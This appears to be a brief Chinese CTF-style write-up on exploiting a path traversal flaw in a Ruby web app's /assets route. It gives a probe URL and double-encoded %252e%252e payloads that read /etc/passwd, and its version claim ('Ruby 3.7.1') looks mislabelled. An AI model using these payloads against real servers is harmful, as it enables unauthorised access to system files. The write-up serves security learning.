打开 web 页面:
发现是Ruby,在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。可以先检测一下是否有此漏洞:
cs
/assets/file:%2f%2f/etc/passwd
根据报错路劲构造 payload:
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
cs
/assets/file:///usr/src/blog/app/assets/images/../../../../../../etc/passwd